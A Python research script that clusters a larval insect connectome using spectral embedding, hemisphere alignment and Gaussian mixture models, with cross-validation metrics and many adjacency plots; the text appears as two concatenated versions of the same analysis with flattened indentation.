pred_side, meta["merge_class"].values, color_dict=CLASS_COLOR_DICT, legend_ncol=6
)
ax.set_title(basetitle)
stashfig(f"barplot" + basename)
fig, ax = plot_cluster_pairs(
X, left_inds, right_inds, left_model, right_model, meta["merge_class"].values
)
fig.suptitle(basetitle, y=1)
stashfig(f"pairs" + basename)
sf = signal_flow(adj)
meta["signal_flow"] = -sf
meta["pred"] = pred
meta["pred_side"] = pred_side
meta["group_signal_flow"] = meta["pred"].map(meta.groupby("pred")["signal_flow"].mean())
fig, ax = plt.subplots(1, 1, figsize=(20, 20))
adjplot(
adj,
ax=ax,
meta=meta,
sort_class="pred_side",
class_order="group_signal_flow",
colors="merge_class",
palette=CLASS_COLOR_DICT,
item_order=["merge_class", "signal_flow"],
plot_type="scattermap",
sizes=(0.5, 1),
)
fig.suptitle(basetitle, y=0.94)
stashfig(f"adj-sf" + basename)
meta["te"] = -meta["Total edgesum"]
fig, ax = plt.subplots(1, 1, figsize=(20, 20))
adjplot(
adj,
ax=ax,
meta=meta,
sort_class="pred_side",
class_order="group_signal_flow",
colors="merge_class",
palette=CLASS_COLOR_DICT,
item_order=["merge_class", "te"],
plot_type="scattermap",
sizes=(0.5, 1),
)
fig.suptitle(basetitle, y=0.94)
stashfig(f"adj-te" + basename)
meta["rand"] = np.random.uniform(size=len(meta))
fig, ax = plt.subplots(1, 1, figsize=(20, 20))
adjplot(
adj,
ax=ax,
meta=meta,
sort_class="pred_side",
class_order="group_signal_flow",
colors="merge_class",
palette=CLASS_COLOR_DICT,
item_order="rand",
plot_type="scattermap",
sizes=(0.5, 1),
)
fig.suptitle(basetitle, y=0.94)
stashfig(f"adj-rand" + basename)
# %% [markdown]
# ## SUBCLUSTER
np.random.seed(8888)
uni_labels, inv = np.unique(pred, return_inverse=True)
all_sub_results = []
sub_data = []
reembed = False
for label in uni_labels:
print(label)
print()
label_mask = pred == label
sub_meta = meta[label_mask].copy()
sub_meta["inds"] = range(len(sub_meta))
sub_left_inds = sub_meta[sub_meta["left"]]["inds"].values
sub_right_inds = sub_meta[sub_meta["right"]]["inds"].values
sub_lp_inds, sub_rp_inds = get_paired_inds(sub_meta)
sub_adj = adj[np.ix_(label_mask, label_mask)]
if reembed:
ase = AdjacencySpectralEmbed()
# TODO look into PTR at this level as well
sub_embed = ase.fit_transform(sub_adj)
sub_X = np.concatenate(sub_embed, axis=1)
sub_R, _ = orthogonal_procrustes(sub_X[sub_lp_inds], sub_X[sub_rp_inds])
sub_X[sub_left_inds] = sub_X[sub_left_inds] @ sub_R
else:
sub_X = X[label_mask].copy()
sub_R = R
var_dict = {
"meta": sub_meta,
"left_inds": sub_left_inds,
"right_inds": sub_right_inds,
"left_pair_inds": sub_lp_inds,
"right_pair_inds": sub_rp_inds,
"X": sub_X,
"adj": sub_adj,
}
sub_data.append(var_dict)
sub_results = crossval_cluster(
sub_X,
sub_left_inds,
sub_right_inds,
left_pair_inds=sub_lp_inds,
right_pair_inds=sub_rp_inds,
max_clusters=10,
min_clusters=1,
n_init=50,
)
fig, axs = plot_metrics(sub_results, plot_all=False)
fig.suptitle(f"Subclustering for cluster {label}, reembed={reembed}")
stashfig(f"sub-cluster-profile-label={label}-reembed={reembed}")
plt.close()
all_sub_results.append(sub_results)
# %% [markdown]
# ##
# sub_ks = [(2, 4), (0,), (3, 4), (3,), (2, 3), (0,), (4,)]
# sub_kws = [(4,), (0,), (4,), (3, 4), (2, 3), (3,), (3, 4, 5)]
if not reembed:
sub_ks = [(4,), (4,), (3,), (2, 3, 4), (0,), (3,)]
else:
pass
for i, label in enumerate(uni_labels):
ks = sub_ks[i]
sub_results = all_sub_results[i]
sub_X = sub_data[i]["X"]
sub_left_inds = sub_data[i]["left_inds"]
sub_right_inds = sub_data[i]["right_inds"]
sub_lp_inds = sub_data[i]["left_pair_inds"]
sub_rp_inds = sub_data[i]["right_pair_inds"]
sub_meta = sub_data[i]["meta"]
fig, axs = plot_metrics(sub_results)
fig.suptitle(f"Subclustering for cluster {label}, reembed={reembed}")
for ax in axs[:-1]:
for k in ks:
ax.axvline(k, linestyle="--", color="red", linewidth=2)
stashfig(f"sub-cluster-metrics-label={label}-reembed={reembed}" + basename)
plt.close()
for k in ks:
if k != 0:
sub_basename = f"-label={label}-subk={k}-reembed={reembed}" + basename
sub_basetitle = f"Subcluster for {label}, subk={k}, reembed={reembed},"
sub_basetitle += f" metric={metric}, k={k}, n_components={n_components}"
ind = sub_results[sub_results["k"] == k][metric].idxmax()
sub_model = sub_results.loc[ind, "model"]
sub_left_model = sub_model
sub_right_model = sub_model
sub_pred_side = composite_predict(
sub_X,
sub_left_inds,
sub_right_inds,
sub_left_model,
sub_right_model,
relabel=True,
)
ax = stacked_barplot(
sub_pred_side,
sub_meta["merge_class"].values,
color_dict=CLASS_COLOR_DICT,
legend_ncol=6,
)
ax.set_title(sub_basetitle)
stashfig(f"barplot" + sub_basename)
plt.close()
fig, ax = plot_cluster_pairs(
sub_X,
sub_left_inds,
sub_right_inds,
sub_left_model,
sub_right_model,
sub_meta["merge_class"].values,
)
fig.suptitle(sub_basetitle, y=1)
stashfig(f"pairs" + sub_basename)
plt.close()
sub_adj = sub_data[i]["adj"]
sub_meta["sub_pred_side"] = sub_pred_side
sub_pred_var = f"c{label}_sub_pred_side"
meta[sub_pred_var] = ""
meta.loc[
pred == label, sub_pred_var
] = sub_pred_side # TODO indexing is dangerous here
meta[f"c{label}_sub_pred"] = ""
meta.loc[pred == label, f"c{label}_sub_pred"] = composite_predict(
sub_X,
sub_left_inds,
sub_right_inds,
sub_left_model,
sub_right_model,
relabel=False,
)
meta[f"is_c{label}"] = pred == label
fig, ax = plt.subplots(1, 1, figsize=(20, 20))
adjplot(
adj,
ax=ax,
meta=meta,
sort_class=["pred_side", sub_pred_var],
class_order="group_signal_flow",
colors="merge_class",
palette=CLASS_COLOR_DICT,
item_order=["merge_class", "signal_flow"],
highlight=f"is_c{label}",
highlight_kws=dict(color="red", linestyle="-", linewidth=1),
plot_type="scattermap",
sizes=(0.5, 1),
)
fig.suptitle(sub_basetitle, y=0.94)
stashfig("full-adj" + sub_basename)
plt.close()
# %% [markdown]
# ##
cols = meta.columns
sub_pred_side_cols = []
sub_pred_cols = []
for c in cols:
if "_sub_pred" in c:
if "_side" in c:
sub_pred_side_cols.append(c)
else:
sub_pred_cols.append(c)
meta["total_pred"] = ""
meta["total_pred"] = meta["pred"].astype(str) + "-"
meta["total_pred_side"] = ""
meta["total_pred_side"] = meta["pred_side"].astype(str) + "-"
meta["sub_pred"] = ""
meta["sub_pred_side"] = ""
for c in sub_pred_cols:
meta["total_pred"] += meta[c].astype(str)
meta["sub_pred"] += meta[c].astype(str)
for c in sub_pred_side_cols:
meta["sub_pred_side"] += meta[c].astype(str)
meta["total_pred_side"] += meta[c].astype(str)
# %% [markdown]
# ##
meta["lvl2_signal_flow"] = meta["total_pred"].map(
meta.groupby("total_pred")["signal_flow"].mean()
)
fig, ax = plt.subplots(1, 1, figsize=(20, 20))
adjplot(
adj,
ax=ax,
meta=meta,
sort_class=["hemisphere", "pred", "sub_pred"],
class_order="lvl2_signal_flow",
colors="merge_class",
palette=CLASS_COLOR_DICT,
item_order=["merge_class", "signal_flow"],
plot_type="scattermap",
sizes=(0.5, 1),
)
fig.suptitle(f"2-level hierarchy clustering, reembed={reembed}" + basetitle, y=0.94)
stashfig("lvl2-full-adj" + sub_basename)
fig, ax = plt.subplots(1, 1, figsize=(20, 20))
adjplot(
adj,
ax=ax,
meta=meta,
sort_class=["hemisphere", "pred", "sub_pred"],
class_order="lvl2_signal_flow",
colors="merge_class",
palette=CLASS_COLOR_DICT,
item_order=["rand"],
plot_type="scattermap",
sizes=(0.5, 1),
)
fig.suptitle(f"2-level hierarchy clustering, reembed={reembed}" + basetitle, y=0.94)
stashfig("lvl2-full-adj-rand" + sub_basename)
# %% [markdown]
# ##
fig, ax = plt.subplots(1, 1, figsize=(15, 20))
ax = stacked_barplot(
meta["total_pred_side"].values,
meta["merge_class"].values,
color_dict=CLASS_COLOR_DICT,
legend_ncol=6,
ax=ax,
norm_bar_width=False,
)
stashfig("lvl2-barplot" + sub_basename)
# %% [markdown]
# ##
import pymaid
from src.pymaid import start_instance
start_instance()
for tp in meta["total_pred"].unique()[:10]:
ids = list(meta[meta["total_pred"] == tp].index.values)
ids = [int(i) for i in ids]
fig, ax = plt.subplots(1, 1, figsize=(10, 10))
skeleton_color_dict = dict(
zip(meta.index, np.vectorize(CLASS_COLOR_DICT.get)(meta["merge_class"]))
)
pymaid.plot2d(ids, color=skeleton_color_dict, ax=ax)
ax.axis("equal")
stashfig(f"test-plot2d-{tp}")
# %% [markdown]
# ##
# %%
| # %% [markdown]
# # THE MIND OF A MAGGOT
# %% [markdown]
# ## Imports
import os
import time
import colorcet as cc
import matplotlib as mpl
import matplotlib.pyplot as plt
import matplotlib.transforms as transforms
import numpy as np
import pandas as pd
import seaborn as sns
from scipy.linalg import orthogonal_procrustes
from scipy.optimize import linear_sum_assignment
from sklearn.metrics import adjusted_rand_score
from tqdm import tqdm
from graspy.cluster import GaussianCluster
from graspy.embed import AdjacencySpectralEmbed
from graspy.models import DCSBMEstimator, RDPGEstimator, SBMEstimator
from graspy.plot import heatmap, pairplot
from graspy.simulations import rdpg
from graspy.utils import binarize, pass_to_ranks
from src.data import load_metagraph
from src.graph import preprocess
from src.hierarchy import signal_flow
from src.io import savefig
from src.visualization import (
CLASS_COLOR_DICT,
barplot_text,
gridmap,
matrixplot,
stacked_barplot,
adjplot,
)
from sklearn.utils.testing import ignore_warnings
from sklearn.exceptions import ConvergenceWarning
import warnings
warnings.filterwarnings(action="ignore", category=ConvergenceWarning)
CLUSTER_SPLIT = "best"
FNAME = os.path.basename(__file__)[:-3]
print(FNAME)
rc_dict = {
"axes.spines.right": False,
"axes.spines.top": False,
"axes.formatter.limits": (-3, 3),
"figure.figsize": (6, 3),
"figure.dpi": 100,
}
for key, val in rc_dict.items():
mpl.rcParams[key] = val
context = sns.plotting_context(context="talk", font_scale=1, rc=rc_dict)
sns.set_context(context)
np.random.seed(8888)
def stashfig(name, **kws):
savefig(name, foldername=FNAME, save_on=True, **kws)
def get_paired_inds(meta):
pair_meta = meta[meta["Pair"].isin(meta.index)]
pair_group_size = pair_meta.groupby("Pair ID").size()
remove_pairs = pair_group_size[pair_group_size == 1].index
pair_meta = pair_meta[~pair_meta["Pair ID"].isin(remove_pairs)]
assert pair_meta.groupby("Pair ID").size().min() == 2
pair_meta.sort_values(["Pair ID", "hemisphere"], inplace=True)
lp_inds = pair_meta[pair_meta["hemisphere"] == "L"]["inds"]
rp_inds = pair_meta[pair_meta["hemisphere"] == "R"]["inds"]
assert (
meta.iloc[lp_inds]["Pair ID"].values == meta.iloc[rp_inds]["Pair ID"].values
).all()
return lp_inds, rp_inds
# TODO broken in some cases, switched to `compute_pairedness_bipartite`
def compute_pairedness(partition, left_pair_inds, right_pair_inds, plot=False):
uni_labels, inv = np.unique(partition, return_inverse=True)
train_int_mat = np.zeros((len(uni_labels), len(uni_labels)))
for i, ul in enumerate(uni_labels):
c1_mask = inv == i
for j, ul in enumerate(uni_labels):
c2_mask = inv == j
# number of times a thing in cluster 1 has a pair also in cluster 2
pairs_in_other = np.logical_and(
c1_mask[left_pair_inds], c2_mask[right_pair_inds]
).sum()
train_int_mat[i, j] = pairs_in_other
row_ind, col_ind = linear_sum_assignment(train_int_mat, maximize=True)
train_pairedness = np.trace(train_int_mat[np.ix_(row_ind, col_ind)]) / np.sum(
train_int_mat
) # TODO double check that this is right
if plot:
fig, axs = plt.subplots(1, 2, figsize=(20, 10))
sns.heatmap(
train_int_mat, square=True, ax=axs[0], cbar=False, cmap="RdBu_r", center=0
)
int_df = pd.DataFrame(data=train_int_mat, index=uni_labels, columns=uni_labels)
int_df = int_df.reindex(index=uni_labels[row_ind])
int_df = int_df.reindex(columns=uni_labels[col_ind])
sns.heatmap(int_df, square=True, ax=axs[1], cbar=False, cmap="RdBu_r", center=0)
return train_pairedness, row_ind, col_ind
def compute_pairedness_bipartite(left_labels, right_labels):
left_uni_labels, left_inv = np.unique(left_labels, return_inverse=True)
right_uni_labels, right_inv = np.unique(right_labels, return_inverse=True)
train_int_mat = np.zeros((len(left_uni_labels), len(right_uni_labels)))
for i, ul in enumerate(left_uni_labels):
c1_mask = left_inv == i
for j, ul in enumerate(right_uni_labels):
c2_mask = right_inv == j
# number of times a thing in cluster 1 has a pair also in cluster 2
pairs_in_other = np.logical_and(c1_mask, c2_mask).sum()
train_int_mat[i, j] = pairs_in_other
row_ind, col_ind = linear_sum_assignment(train_int_mat, maximize=True)
train_pairedness = np.trace(train_int_mat[np.ix_(row_ind, col_ind)]) / np.sum(
train_int_mat
) # TODO double check that this is right
return train_pairedness, row_ind, col_ind
def fit_and_score(X_train, X_test, k, **kws):
gc = GaussianCluster(min_components=k, max_components=k, **kws)
gc.fit(X_train)
model = gc.model_
train_bic = model.bic(X_train)
train_lik = model.score(X_train)
test_bic = model.bic(X_test)
test_lik = model.score(X_test)
bic = model.bic(np.concatenate((X_train, X_test), axis=0))
res = {
"train_bic": -train_bic,
"train_lik": train_lik,
"test_bic": -test_bic,
"test_lik": test_lik,
"bic": -bic,
"lik": train_lik + test_lik,
"k": k,
"model": gc.model_,
}
return res, model
def crossval_cluster(
embed,
left_inds,
right_inds,
min_clusters=2,
max_clusters=15,
n_init=25,
left_pair_inds=None,
right_pair_inds=None,
):
left_embed = embed[left_inds]
right_embed = embed[right_inds]
print("Running left/right clustering with cross-validation\n")
currtime = time.time()
rows = []
for k in tqdm(range(min_clusters, max_clusters)):
# TODO add option for AutoGMM as well, might as well check
for i in range(n_init):
left_row, left_gc = fit_and_score(left_embed, right_embed, k)
left_row["train"] = "left"
right_row, right_gc = fit_and_score(right_embed, left_embed, k)
right_row["train"] = "right"
# pairedness computation, if available
if left_pair_inds is not None and right_pair_inds is not None:
# TODO double check this is right
pred_left = left_gc.predict(embed[left_pair_inds])
pred_right = right_gc.predict(embed[right_pair_inds])
pness, _, _ = compute_pairedness_bipartite(pred_left, pred_right)
left_row["pairedness"] = pness
right_row["pairedness"] = pness
ari = adjusted_rand_score(pred_left, pred_right)
left_row["ARI"] = ari
right_row["ARI"] = ari
rows.append(left_row)
rows.append(right_row)
results = pd.DataFrame(rows)
print(f"{time.time() - currtime} elapsed")
return results
def plot_crossval_cluster(results):
fig, axs = plt.subplots(3, 1, figsize=(10, 10), sharex=True)
ax = axs[0]
sns.lineplot(data=results, x="k", y="test_lik", hue="train", ax=ax, legend=False)
ax.lines[0].set_linestyle("--")
ax.lines[1].set_linestyle("--")
sns.lineplot(data=results, x="k", y="train_lik", hue="train", ax=ax, legend=False)
ax.set_ylabel("Log likelihood")
ax.yaxis.set_major_locator(mpl.ticker.MaxNLocator(nbins=3, min_n_ticks=3))
ax = axs[1]
sns.lineplot(data=results, x="k", y="test_bic", hue="train", ax=ax, legend="full")
ax.lines[0].set_linestyle("--")
ax.lines[1].set_linestyle("--")
sns.lineplot(data=results, x="k", y="train_bic", hue="train", ax=ax, legend="full")
ax.set_ylabel("-BIC")
ax.yaxis.set_major_locator(mpl.ticker.MaxNLocator(nbins=3, min_n_ticks=3))
leg = ax.legend()
leg.set_title("Train side")
leg.texts[0].set_text("Test contra")
leg.set_bbox_to_anchor((1, 1.8))
lines = leg.get_lines()
lines[0].set_linestyle("--")
lines[1].set_linestyle("--")
lines[2].set_linestyle("--")
leg.texts[3].set_text("Test ipsi")
ax = axs[2]
sns.lineplot(
data=results,
x="k",
y="pairedness",
ax=ax,
legend="full",
color="purple",
label="Pairedness",
)
sns.lineplot(
data=results, x="k", y="ARI", ax=ax, legend="full", color="green", label="ARI"
)
ax.set_ylabel("Pair score")
leg = ax.legend().remove()
ax.legend(bbox_to_anchor=(1, 1), loc="upper left")
# leg.loc = 2
# leg.set_bbox_to_anchor((1, 1))
# ax.yaxis.set_major_locator(mpl.ticker.MaxNLocator(nbins=3, min_n_ticks=3))
# trans = transforms.blended_transform_factory(ax.transAxes, ax.transAxes)
# ax.text(0.8, 0.8, "Pairedness", color="purple", transform=trans)
# ax.text(0.8, 0.6, "ARI", color="green", transform=trans)
return fig, axs
def make_ellipses(gmm, ax, i, j, colors, alpha=0.5, equal=False, **kws):
inds = [j, i]
for n, color in enumerate(colors):
if gmm.covariance_type == "full":
covariances = gmm.covariances_[n][np.ix_(inds, inds)]
elif gmm.covariance_type == "tied":
covariances = gmm.covariances_[np.ix_(inds, inds)]
elif gmm.covariance_type == "diag":
covariances = np.diag(gmm.covariances_[n][inds])
elif gmm.covariance_type == "spherical":
covariances = np.eye(gmm.means_.shape[1]) * gmm.covariances_[n]
v, w = np.linalg.eigh(covariances)
u = w[0] / np.linalg.norm(w[0])
angle = np.arctan2(u[1], u[0])
angle = 180 * angle / np.pi # convert to degrees
v = 2.0 * np.sqrt(2.0) * np.sqrt(v)
ell = mpl.patches.Ellipse(
gmm.means_[n, inds], v[0], v[1], 180 + angle, color=color, **kws
)
ell.set_clip_box(ax.bbox)
ell.set_alpha(alpha)
ax.add_artist(ell)
if equal:
ax.set_aspect("equal", "datalim")
def plot_cluster_pairs(
X, left_inds, right_inds, left_model, right_model, labels, colors=None, equal=True
):
k = left_model.n_components
n_dims = X.shape[1]
if colors is None:
colors = sns.color_palette("tab10", n_colors=k, desat=0.7)
fig, axs = plt.subplots(
n_dims, n_dims, sharex=False, sharey=False, figsize=(20, 20)
)
data = pd.DataFrame(data=X)
data["label"] = labels #
pred = composite_predict(
X, left_inds, right_inds, left_model, right_model, relabel=False
)
data["pred"] = pred
for i in range(n_dims):
for j in range(n_dims):
ax = axs[i, j]
ax.axis("off")
if i < j:
sns.scatterplot(
data=data,
x=j,
y=i,
ax=ax,
alpha=0.5,
linewidth=0,
s=5,
legend=False,
hue="label",
palette=CLASS_COLOR_DICT,
)
make_ellipses(left_model, ax, i, j, colors, fill=False, equal=equal)
if i > j:
sns.scatterplot(
data=data,
x=j,
y=i,
ax=ax,
alpha=0.7,
linewidth=0,
s=5,
legend=False,
hue="pred",
palette=colors,
)
make_ellipses(left_model, ax, i, j, colors, fill=True, equal=equal)
plt.tight_layout()
return fig, axs
def composite_predict(X, left_inds, right_inds, left_model, right_model, relabel=False):
# TODO add option to boost the right numbers
X_left = X[left_inds]
X_right = X[right_inds]
pred_left = left_model.predict(X_left)
pred_right = right_model.predict(X_right)
if relabel:
leftify = np.vectorize(lambda x: str(x) + "L")
rightify = np.vectorize(lambda x: str(x) + "R")
pred_left = leftify(pred_left)
pred_right = rightify(pred_right)
dtype = pred_left.dtype
pred = np.empty(len(X), dtype=dtype)
pred[left_inds] = pred_left
pred[right_inds] = pred_right
return pred
def reindex_model(gmm, perm_inds):
gmm.weights_ = gmm.weights_[perm_inds]
gmm.means_ = gmm.means_[perm_inds]
if gmm.covariance_type != "tied":
gmm.covariances_ = gmm.covariances_[perm_inds]
gmm.precisions_ = gmm.precisions_[perm_inds]
gmm.precisions_cholesky_ = gmm.precisions_cholesky_[perm_inds]
return gmm
def plot_metrics(results, plot_all=True):
plot_results = results.copy()
plot_results["k"] += np.random.normal(size=len(plot_results), scale=0.1)
fig, axs = plt.subplots(3, 3, figsize=(20, 10), sharex=True)
def miniplotter(var, ax):
if plot_all:
sns.scatterplot(
data=plot_results,
x="k",
y=var,
hue="train",
ax=ax,
s=8,
linewidth=0,
alpha=0.5,
)
best_inds = results.groupby(["k"])[var].idxmax()
best_results = results.loc[best_inds].copy()
sns.lineplot(
data=best_results, x="k", y=var, ax=ax, color="purple", label="max"
)
mean_results = results.groupby(["k"]).mean()
mean_results.reset_index(inplace=True)
sns.lineplot(
data=mean_results, x="k", y=var, ax=ax, color="green", label="mean"
)
ax.get_legend().remove()
plot_vars = [
"train_lik",
"test_lik",
"lik",
"train_bic",
"test_bic",
"bic",
"ARI",
"pairedness",
]
axs = axs.T.ravel()
for pv, ax in zip(plot_vars, axs):
miniplotter(pv, ax)
axs[2].xaxis.set_major_locator(mpl.ticker.MultipleLocator(2))
axs[-2].tick_params(labelbottom=True)
axs[-2].set_xlabel("k")
handles, labels = axs[-2].get_legend_handles_labels()
axs[-1].legend(handles, labels, loc="upper left")
axs[-1].axis("off")
return fig, axs
# %% [markdown]
# ## Load data
# In this case we are working with `G`, the directed graph formed by summing the edge
# weights of the 4 different graph types. Preprocessing here includes removing
# partially differentiated cells, and cutting out the lowest 5th percentile of nodes in
# terms of their number of incident synapses. 5th percentile ~= 12 synapses. After this,
# the largest connected component is used.
mg = load_metagraph("G", version="2020-04-01")
mg = preprocess(
mg,
threshold=0,
sym_threshold=False,
remove_pdiff=True,
binarize=False,
weight="weight",
)
meta = mg.meta
# plot where we are cutting out nodes based on degree
degrees = mg.calculate_degrees()
fig, ax = plt.subplots(1, 1, figsize=(5, 2.5))
sns.distplot(np.log10(degrees["Total edgesum"]), ax=ax)
q = np.quantile(degrees["Total edgesum"], 0.05)
ax.axvline(np.log10(q), linestyle="--", color="r")
ax.set_xlabel("log10(total synapses)")
# remove low degree neurons
idx = meta[degrees["Total edgesum"] > q].index
mg = mg.reindex(idx, use_ids=True)
# remove center neurons # FIXME
idx = mg.meta[mg.meta["hemisphere"].isin(["L", "R"])].index
mg = mg.reindex(idx, use_ids=True)
mg = mg.make_lcc()
mg.calculate_degrees(inplace=True)
meta = mg.meta
adj = mg.adj
adj = pass_to_ranks(adj)
meta["inds"] = range(len(meta))
left_inds = meta[meta["left"]]["inds"]
right_inds = meta[meta["right"]]["inds"]
lp_inds, rp_inds = get_paired_inds(meta)
# %% [markdown]
# ## Embed
# Here the embedding is ASE, with PTR and DiagAug, the number of embedding dimensions
# is for now set to ZG2 (4 + 4). Using the known pairs as "seeds", the left embedding
# is matched to the right using procrustes.
ase = AdjacencySpectralEmbed(n_components=None, n_elbows=2)
embed = ase.fit_transform(adj)
n_components = embed[0].shape[1] # use all of ZG2
X = np.concatenate((embed[0][:, :n_components], embed[1][:, :n_components]), axis=-1)
R, _ = orthogonal_procrustes(X[lp_inds], X[rp_inds])
if CLUSTER_SPLIT == "best":
X[left_inds] = X[left_inds] @ R
# %% [markdown]
# ## Clustering
# Clustering is performed using Gaussian mixture modeling. At each candidate value of k,
# 50 models are trained on the left embedding, 50 models are trained on the right
# embedding (choosing the best covariance structure based on BIC on the train set).
results = crossval_cluster(
X,
left_inds,
right_inds,
left_pair_inds=lp_inds,
right_pair_inds=rp_inds,
max_clusters=15,
n_init=50,
)
# best_inds = results.groupby(["k", "train"])["test_bic"].idxmax()
# best_results = results.loc[best_inds].copy()
# plot_crossval_cluster(best_results)
# stashfig(f"cross-val-n_components={n_components}")
# %% [markdown]
# ## Evaluating Clustering
# Of the 100 models we fit as described above, we now evaluate them on a variety of
# metrics:
# - likelihood of the data the model was trained on ("train_lik")
# - likelihood of the held out (other hemisphere) data ("test_lik")
# - likelihood of all of the data ("lik", = "train_lik" + "test_lik")
# - BIC using the data the model was trained on ("train_bic")
# - BIC using the held out (other hemisphere) data ("test_bic")
# - BIC using all of the data ("bic")
# - ARI for pairs. Given the prediction of the model on the left data and the right
# data, using known pairs to define a correspondence between (some) nodes, what is
# the ARI(left_prediction, right_prediciton) for the given model
# - Pairedness, like the above but simply the raw fraction of pairs that end up in
# corresponding L/R clusters. Very related to ARI but not normalized.
plot_metrics(results)
stashfig(f"cluster-metrics-n_components={n_components}")
# %% [markdown]
# ## Choose a model
# A few things are clear from the above. One is that the likelihood on the train set
# continues to go up as `k` increases, but plateaus and then drops on the test set around
# k = 6 - 8. This is even slightly more clear when looking at the BIC plots, where the
# only difference is the added penalty for complexity. Based on this, I would say that
# the best k at this scale is around 6-8; however, we still need to pick a single metric
# to give us the *best* model to proceed. I'm not sure whether it makes more sense to use
# likelihood or bic here, or, to use performance on the test set or performance on all
# of the data. Here we will proceed with k=7, and choose the model with the best BIC on
# all of the data.
k = 6
metric = "bic"
basename = f"-metric={metric}-k={k}-n_components={n_components}"
basetitle = f"Metric={metric}, k={k}, n_components={n_components}"
ind = results[results["k"] == k][metric].idxmax()
print(f"Choosing model at k={k} based on best {metric}.\n")
print(f"ARI: {results.loc[ind, 'ARI']}")
print(f"Pairedness: {results.loc[ind, 'pairedness']}\n")
model = results.loc[ind, "model"]
left_model = model
right_model = model
pred = composite_predict(
X, left_inds, right_inds, left_model, right_model, relabel=False
)
pred_side = composite_predict(
X, left_inds, right_inds, left_model, right_model, relabel=True
)
ax = stacked_barplot(
pred_side, meta["merge_class"].values, color_dict=CLASS_COLOR_DICT, legend_ncol=6
)
ax.set_title(basetitle)
stashfig(f"barplot" + basename)
fig, ax = plot_cluster_pairs(
X, left_inds, right_inds, left_model, right_model, meta["merge_class"].values
)
fig.suptitle(basetitle, y=1)
stashfig(f"pairs" + basename)
sf = signal_flow(adj)
meta["signal_flow"] = -sf
meta["pred"] = pred
meta["pred_side"] = pred_side
meta["group_signal_flow"] = meta["pred"].map(meta.groupby("pred")["signal_flow"].mean())
fig, ax = plt.subplots(1, 1, figsize=(20, 20))
adjplot(
adj,
ax=ax,
meta=meta,
sort_class="pred_side",
class_order="group_signal_flow",
colors="merge_class",
palette=CLASS_COLOR_DICT,
item_order=["merge_class", "signal_flow"],
plot_type="scattermap",
sizes=(0.5, 1),
)
fig.suptitle(basetitle, y=0.94)
stashfig(f"adj-sf" + basename)
meta["te"] = -meta["Total edgesum"]
fig, ax = plt.subplots(1, 1, figsize=(20, 20))
adjplot(
adj,
ax=ax,
meta=meta,
sort_class="pred_side",
class_order="group_signal_flow",
colors="merge_class",
palette=CLASS_COLOR_DICT,
item_order=["merge_class", "te"],
plot_type="scattermap",
sizes=(0.5, 1),
)
fig.suptitle(basetitle, y=0.94)
stashfig(f"adj-te" + basename)
meta["rand"] = np.random.uniform(size=len(meta))
fig, ax = plt.subplots(1, 1, figsize=(20, 20))
adjplot(
adj,
ax=ax,
meta=meta,
sort_class="pred_side",
class_order="group_signal_flow",
colors="merge_class",
palette=CLASS_COLOR_DICT,
item_order="rand",
plot_type="scattermap",
sizes=(0.5, 1),
)
fig.suptitle(basetitle, y=0.94)
stashfig(f"adj-rand" + basename)
# %% [markdown]
# ## SUBCLUSTER
np.random.seed(8888)
uni_labels, inv = np.unique(pred, return_inverse=True)
all_sub_results = []
sub_data = []
reembed = False
for label in uni_labels:
print(label)
print()
label_mask = pred == label
sub_meta = meta[label_mask].copy()
sub_meta["inds"] = range(len(sub_meta))
sub_left_inds = sub_meta[sub_meta["left"]]["inds"].values
sub_right_inds = sub_meta[sub_meta["right"]]["inds"].values
sub_lp_inds, sub_rp_inds = get_paired_inds(sub_meta)
sub_adj = adj[np.ix_(label_mask, label_mask)]
if reembed:
ase = AdjacencySpectralEmbed()
# TODO look into PTR at this level as well
sub_embed = ase.fit_transform(sub_adj)
sub_X = np.concatenate(sub_embed, axis=1)
sub_R, _ = orthogonal_procrustes(sub_X[sub_lp_inds], sub_X[sub_rp_inds])
sub_X[sub_left_inds] = sub_X[sub_left_inds] @ sub_R
else:
sub_X = X[label_mask].copy()
sub_R = R
var_dict = {
"meta": sub_meta,
"left_inds": sub_left_inds,
"right_inds": sub_right_inds,
"left_pair_inds": sub_lp_inds,
"right_pair_inds": sub_rp_inds,
"X": sub_X,
"adj": sub_adj,
}
sub_data.append(var_dict)
sub_results = crossval_cluster(
sub_X,
sub_left_inds,
sub_right_inds,
left_pair_inds=sub_lp_inds,
right_pair_inds=sub_rp_inds,
max_clusters=10,
min_clusters=1,
n_init=50,
)
fig, axs = plot_metrics(sub_results, plot_all=False)
fig.suptitle(f"Subclustering for cluster {label}, reembed={reembed}")
stashfig(f"sub-cluster-profile-label={label}-reembed={reembed}")
plt.close()
all_sub_results.append(sub_results)
# %% [markdown]
# ##
# sub_ks = [(2, 4), (0,), (3, 4), (3,), (2, 3), (0,), (4,)]
# sub_kws = [(4,), (0,), (4,), (3, 4), (2, 3), (3,), (3, 4, 5)]
if not reembed:
sub_ks = [(4,), (4,), (3,), (2, 3, 4), (0,), (3,)]
else:
pass
for i, label in enumerate(uni_labels):
ks = sub_ks[i]
sub_results = all_sub_results[i]
sub_X = sub_data[i]["X"]
sub_left_inds = sub_data[i]["left_inds"]
sub_right_inds = sub_data[i]["right_inds"]
sub_lp_inds = sub_data[i]["left_pair_inds"]
sub_rp_inds = sub_data[i]["right_pair_inds"]
sub_meta = sub_data[i]["meta"]
fig, axs = plot_metrics(sub_results)
fig.suptitle(f"Subclustering for cluster {label}, reembed={reembed}")
for ax in axs[:-1]:
for k in ks:
ax.axvline(k, linestyle="--", color="red", linewidth=2)
stashfig(f"sub-cluster-metrics-label={label}-reembed={reembed}" + basename)
plt.close()
for k in ks:
if k != 0:
sub_basename = f"-label={label}-subk={k}-reembed={reembed}" + basename
sub_basetitle = f"Subcluster for {label}, subk={k}, reembed={reembed},"
sub_basetitle += f" metric={metric}, k={k}, n_components={n_components}"
ind = sub_results[sub_results["k"] == k][metric].idxmax()
sub_model = sub_results.loc[ind, "model"]
sub_left_model = sub_model
sub_right_model = sub_model
sub_pred_side = composite_predict(
sub_X,
sub_left_inds,
sub_right_inds,
sub_left_model,
sub_right_model,
relabel=True,
)
ax = stacked_barplot(
sub_pred_side,
sub_meta["merge_class"].values,
color_dict=CLASS_COLOR_DICT,
legend_ncol=6,
)
ax.set_title(sub_basetitle)
stashfig(f"barplot" + sub_basename)
plt.close()
fig, ax = plot_cluster_pairs(
sub_X,
sub_left_inds,
sub_right_inds,
sub_left_model,
sub_right_model,
sub_meta["merge_class"].values,
)
fig.suptitle(sub_basetitle, y=1)
stashfig(f"pairs" + sub_basename)
plt.close()
sub_adj = sub_data[i]["adj"]
